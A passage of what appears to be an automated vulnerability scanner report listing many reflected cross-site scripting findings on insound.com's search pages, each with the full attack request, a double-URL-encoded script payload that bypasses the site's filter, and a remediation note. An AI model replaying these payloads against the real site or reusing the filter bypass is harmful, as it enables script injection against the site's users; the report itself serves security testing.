There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Drake5587e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a86562e007&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 1e953%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e58a6476d267 was submitted in the REST URL parameter 3. This input was echoed as 1e953</title><script>alert(1)</script>58a6476d267 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Flying%20Lotus1e953%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e58a6476d267&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5bce%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f471c48308 was submitted in the REST URL parameter 3. This input was echoed as b5bce"><script>alert(1)</script>3f471c48308 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Flying%20Lotusb5bce%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f471c48308&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 263a0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef6a342b52bf was submitted in the REST URL parameter 3. This input was echoed as 263a0</title><script>alert(1)</script>f6a342b52bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Forest%20Swords263a0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef6a342b52bf&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e41bf%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef44313cac23 was submitted in the REST URL parameter 3. This input was echoed as e41bf"><script>alert(1)</script>f44313cac23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Forest%20Swordse41bf%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef44313cac23&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d9a4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9a5df2f5553 was submitted in the REST URL parameter 3. This input was echoed as 3d9a4"><script>alert(1)</script>9a5df2f5553 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Games3d9a4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9a5df2f5553&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 51c62%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eee7e68549e5 was submitted in the REST URL parameter 3. This input was echoed as 51c62</title><script>alert(1)</script>ee7e68549e5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Games51c62%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eee7e68549e5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e0970%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea57d42ed4d0 was submitted in the REST URL parameter 3. This input was echoed as e0970</title><script>alert(1)</script>a57d42ed4d0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Gatekeepere0970%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea57d42ed4d0&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0b53%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6d515183e90 was submitted in the REST URL parameter 3. This input was echoed as e0b53"><script>alert(1)</script>6d515183e90 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Gatekeepere0b53%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6d515183e90&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1c97%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e836d5d1bf12 was submitted in the REST URL parameter 3. This input was echoed as c1c97"><script>alert(1)</script>836d5d1bf12 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Girl%20Talkc1c97%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e836d5d1bf12&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 2f89b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d249cd0eee was submitted in the REST URL parameter 3. This input was echoed as 2f89b</title><script>alert(1)</script>7d249cd0eee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Girl%20Talk2f89b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d249cd0eee&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cdce%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0faee6b0d00 was submitted in the REST URL parameter 3. This input was echoed as 8cdce"><script>alert(1)</script>0faee6b0d00 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Girls8cdce%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0faee6b0d00&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload fd200%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3a4b864f3d was submitted in the REST URL parameter 3. This input was echoed as fd200</title><script>alert(1)</script>3a4b864f3d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Girlsfd200%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3a4b864f3d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9888a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9659a3abc71 was submitted in the REST URL parameter 3. This input was echoed as 9888a"><script>alert(1)</script>9659a3abc71 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Gospel%20Music9888a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9659a3abc71&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 22936%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebb8e1f91af8 was submitted in the REST URL parameter 3. This input was echoed as 22936</title><script>alert(1)</script>bb8e1f91af8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Gospel%20Music22936%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebb8e1f91af8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c8120%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e70eeac5c4e7 was submitted in the REST URL parameter 3. This input was echoed as c8120</title><script>alert(1)</script>70eeac5c4e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Horsepower%20Productionsc8120%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e70eeac5c4e7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e734%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1c9db3a996 was submitted in the REST URL parameter 3. This input was echoed as 2e734"><script>alert(1)</script>1c9db3a996 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Horsepower%20Productions2e734%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1c9db3a996&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da4c9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8555fcb64e9 was submitted in the REST URL parameter 3. This input was echoed as da4c9"><script>alert(1)</script>8555fcb64e9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/How%20to%20Dress%20Wellda4c9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8555fcb64e9&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4009d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efdf91d36c49 was submitted in the REST URL parameter 3. This input was echoed as 4009d</title><script>alert(1)</script>fdf91d36c49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/How%20to%20Dress%20Well4009d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efdf91d36c49&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28bdc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0dd43e04a81 was submitted in the REST URL parameter 3. This input was echoed as 28bdc"><script>alert(1)</script>0dd43e04a81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/J%20Mascis28bdc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0dd43e04a81&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 75c6a%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee139c9dfaec was submitted in the REST URL parameter 3. This input was echoed as 75c6a</title><script>alert(1)</script>e139c9dfaec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/J%20Mascis75c6a%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee139c9dfaec&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31451%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0b83cff01bc was submitted in the REST URL parameter 3. This input was echoed as 31451"><script>alert(1)</script>0b83cff01bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/J.%20Cole31451%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0b83cff01bc&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 716c6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5e23fb958d2 was submitted in the REST URL parameter 3. This input was echoed as 716c6</title><script>alert(1)</script>5e23fb958d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/J.%20Cole716c6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5e23fb958d2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e67c8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaad4d42f534 was submitted in the REST URL parameter 3. This input was echoed as e67c8</title><script>alert(1)</script>aad4d42f534 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Jana%20Huntere67c8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaad4d42f534&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99918%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e284866e9e45 was submitted in the REST URL parameter 3. This input was echoed as 99918"><script>alert(1)</script>284866e9e45 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Jana%20Hunter99918%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e284866e9e45&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccf4f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e478380776a0 was submitted in the REST URL parameter 3. This input was echoed as ccf4f"><script>alert(1)</script>478380776a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/John%20Talabotccf4f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e478380776a0&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload d4820%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1dd42d753ba was submitted in the REST URL parameter 3. This input was echoed as d4820</title><script>alert(1)</script>1dd42d753ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/John%20Talabotd4820%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1dd42d753ba&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b8107%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef2414204422 was submitted in the REST URL parameter 3. This input was echoed as b8107</title><script>alert(1)</script>f2414204422 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
